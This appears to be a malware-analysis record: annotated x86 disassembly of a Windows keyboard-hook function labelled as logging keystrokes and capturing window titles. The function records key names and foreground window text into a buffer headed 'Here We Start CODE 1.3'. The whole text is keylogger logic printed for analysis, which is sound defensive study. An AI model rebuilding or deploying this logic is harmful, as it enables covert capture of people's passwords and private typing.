Function at 0x6308c348
Capabilities:
Get graphical window text
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x82c
cmp dword [ebp + 8], 0
jne 0x6308c947
mov eax, dword [ebp + 0xc]
and eax, 0xfffffffb
cmp eax, 0x100
jne 0x6308c947
mov eax, dword [ebp + 0x10]
mov edx, dword [0x630d904c]
mov ebx, dword [eax]
mov eax, dword [eax + 4]
test edx, edx
mov dword [ebp - 0x820], eax
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 8]
mov dword [ebp - 0x824], eax
jle 0x6308c3a1
mov eax, 0x80000
sub eax, edx
cmp eax, 0x1ff
jbe 0x6308c3cd
mov esi, dword [0x630d9048]
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.630aa8a0
fld dword [0x630c6e00]
fxch st(1)
fucompi st(1)
fstp st(0)
jb 0x6308c431
mov dword [esp], 0x630c4b86
call fcn.6308bbc0
mov esi, 0x630d9460
mov dword [esp], 0
mov dword [0x630d904c], 0
mov edi, esi
call sub.msvcrt.dll_time
mov ecx, 0x20000
mov dword [0x630d9048], eax
xor eax, eax
rep stosd dword es:[edi], eax
mov edi, esi
call fcn.63087729
mov dword [esp + 4], str._n_n_____Here_We_Start_CODE_1.3_at__s______n_n
mov dword [esp + 8], eax
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
dec eax
add dword [0x630d904c], eax
lea esi, [ebp - 0x818]
mov ecx, 0x100
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [esp + 8], 0x400
mov dword [esp + 4], esi
mov dword [esp], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
sub esp, 0xc
mov dword [ebp - 0x828], esi
mov dword [esp + 4], esi
mov dword [esp], 0x630d9060
call fcn.63084c0b
test al, al
mov byte [ebp - 0x819], al
mov edx, dword [ebp - 0x828]
jne 0x6308c4f3
lea esi, [ebp - 0x418]
xor eax, eax
mov ecx, 0x100
mov edi, esi
rep stosd dword es:[edi], eax
mov dword [esp + 8], edx
mov dword [esp], esi
mov edi, esi
mov dword [esp + 4], str._n______s______n
call sub.msvcrt.dll_sprintf
mov dword [esp + 4], esi
mov dword [esp], 0x630d9460
mov esi, 0x630d9060
call sub.msvcrt.dll_strcat
mov al, byte [ebp - 0x819]
or ecx, 0xffffffff
mov edx, dword [ebp - 0x828]
repne scasb al, byte es:[edi]
mov edi, esi
xor eax, eax
not ecx
dec ecx
add dword [0x630d904c], ecx
mov ecx, 0x100
rep stosd dword es:[edi], eax
mov dword [esp + 4], edx
mov dword [esp], esi
call sub.msvcrt.dll_strcpy
lea esi, [ebp - 0x418]
xor eax, eax
mov ecx, 0x40
mov edx, dword [ebp - 0x820]
mov edi, esi
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x417]
shl edx, 0x10
mov dword [esp + 8], 0xff
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x824]
shl eax, 0x18
add eax, edx
mov dword [esp], eax
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
sub esp, 0xc
cmp eax, 1
jne 0x6308c55d
movsx eax, byte [ebp - 0x417]
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll_tolower]
mov byte [ebp - 0x417], 0
mov byte [ebp - 0x418], al
jmp 0x6308c914
cmp ebx, 0x2e
je 0x6308c7e4
ja 0x6308c689
cmp ebx, 0x21
je 0x6308c8d6
ja 0x6308c607
cmp ebx, 0x11
je 0x6308c7d0
ja 0x6308c5be
cmp ebx, 9
je 0x6308c7c6
ja 0x6308c5a7
cmp ebx, 8
jne 0x6308c8fd
mov dword [esp + 4], str._BS_
jmp 0x6308c7a5
cmp ebx, 0xd
je 0x6308c7bc
cmp ebx, 0x10
je 0x6308c79d
jmp 0x6308c8fd
cmp ebx, 0x18
je 0x6308c8a2
ja 0x6308c5e8
cmp ebx, 0x12
je 0x6308c8c9
cmp ebx, 0x14
jne 0x6308c8fd
mov dword [esp + 4], 0x630c4c63
jmp 0x6308c7a5
cmp ebx, 0x1b
je 0x6308c87b
cmp ebx, 0x20
jne 0x6308c8fd
mov dword [esp + 4], 0x630c41f9
jmp 0x6308c7a5
cmp ebx, 0x26
je 0x6308c861
ja 0x6308c640
cmp ebx, 0x23
je 0x6308c895
jb 0x6308c8e3
cmp ebx, 0x24
je 0x6308c8af
cmp ebx, 0x25
jne 0x6308c8fd
mov dword [esp + 4], 0x630c4c7b
jmp 0x6308c7a5
cmp ebx, 0x2a
je 0x6308c888
ja 0x6308c66a
cmp ebx, 0x27
je 0x6308c86e
cmp ebx, 0x28
jne 0x6308c8fd
mov dword [esp + 4], 0x630c4c77
jmp 0x6308c7a5
cmp ebx, 0x2c
je 0x6308c8f0
cmp ebx, 0x2d
jne 0x6308c8fd
mov dword [esp + 4], str._INS_
jmp 0x6308c7a5
cmp ebx, 0x66
je 0x6308c816
ja 0x6308c729
cmp ebx, 0x60
je 0x6308c7ee
ja 0x6308c6e3
cmp ebx, 0x5b
je 0x6308c847
ja 0x6308c6c4
cmp ebx, 0x2f
jne 0x6308c8fd
mov dword [esp + 4], str._HELP_
jmp 0x6308c7a5
cmp ebx, 0x5c
je 0x6308c854
cmp ebx, 0x5d
jne 0x6308c8fd
mov dword [esp + 4], str._APPS_
jmp 0x6308c7a5
cmp ebx, 0x63
je 0x6308c802
ja 0x6308c70d
cmp ebx, 0x61
je 0x6308c7f8
cmp ebx, 0x62
jne 0x6308c8fd
mov dword [esp + 4], 0x630c4c53
jmp 0x6308c7a5
cmp ebx, 0x64
je 0x6308c80c
cmp ebx, 0x65
jne 0x6308c8fd
mov dword [esp + 4], 0x630c4c59
jmp 0x6308c7a5
cmp ebx, 0xa0
je 0x6308c79d
ja 0x6308c761
cmp ebx, 0x68
je 0x6308c82d
jb 0x6308c820
cmp ebx, 0x69
je 0x6308c83a
cmp ebx, 0x90
jne 0x6308c8fd
mov dword [esp + 4], str._NUM_
jmp 0x6308c7a5
cmp ebx, 0xa3
je 0x6308c7da
ja 0x6308c780
cmp ebx, 0xa1
je 0x6308c7b2
cmp ebx, 0xa2
je 0x6308c7d0
jmp 0x6308c8fd
cmp ebx, 0xa4
je 0x6308c8bc
cmp ebx, 0xa5
je 0x6308c8c9
jmp 0x6308c8fd
mov dword [esp + 4], str._LS_
mov dword [esp], esi
call sub.msvcrt.dll_strcpy
jmp 0x6308c914
mov dword [esp + 4], str._RS_
jmp 0x6308c7a5
mov dword [esp + 4], 0x630c4c34
jmp 0x6308c7a5
mov dword [esp + 4], 0x630c4c3d
jmp 0x6308c7a5
mov dword [esp + 4], str._LC_
jmp 0x6308c7a5
mov dword [esp + 4], str._RC_
jmp 0x6308c7a5
mov dword [esp + 4], str._DEL_
jmp 0x6308c7a5
mov dword [esp + 4], 0x630c41ea
jmp 0x6308c7a5
mov dword [esp + 4], str.123456789
jmp 0x6308c7a5
mov dword [esp + 4], 0x630c4c55
jmp 0x6308c7a5
mov dword [esp + 4], 0x630c4c57
jmp 0x6308c7a5
mov dword [esp + 4], 0x630c4c5b
jmp 0x6308c7a5
mov dword [esp + 4], 0x630c4c5d
jmp 0x6308c7a5
mov dword [esp + 4], 0x630c4c5f
jmp 0x6308c7a5
mov dword [esp + 4], 0x630c4c61
jmp 0x6308c7a5
mov dword [esp + 4], str._LW_
jmp 0x6308c7a5
mov dword [esp + 4], str._RW_
jmp 0x6308c7a5
mov dword [esp + 4], 0x630c4c73
jmp 0x6308c7a5
mov dword [esp + 4], 0x630c4c7f
jmp 0x6308c7a5
mov dword [esp + 4], str._ESC_
jmp 0x6308c7a5
mov dword [esp + 4], str._PRNT_
jmp 0x6308c7a5
mov dword [esp + 4], str._END_
jmp 0x6308c7a5
mov dword [esp + 4], str._FIN_
jmp 0x6308c7a5
mov dword [esp + 4], str._HOME_
jmp 0x6308c7a5
mov dword [esp + 4], str._LALT_
jmp 0x6308c7a5
mov dword [esp + 4], str._RALT_
jmp 0x6308c7a5
mov dword [esp + 4], str._PU_
jmp 0x6308c7a5
mov dword [esp + 4], str._PD_
jmp 0x6308c7a5
mov dword [esp + 4], str._SCR_
jmp 0x6308c7a5
mov byte [ebp - 0x418], 0x5b
mov byte [ebp + eax - 0x417], 0x5d
mov byte [ebp + eax - 0x416], 0
mov dword [esp + 4], esi
mov dword [esp], 0x630d9460
mov edi, esi
call sub.msvcrt.dll_strcat
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
dec eax
add dword [0x630d904c], eax
jmp 0x6308c947
mov eax, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [0x63159460]
mov dword [esp], eax
call dword [sym.imp.USER32.dll_CallNextHookEx]
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0xc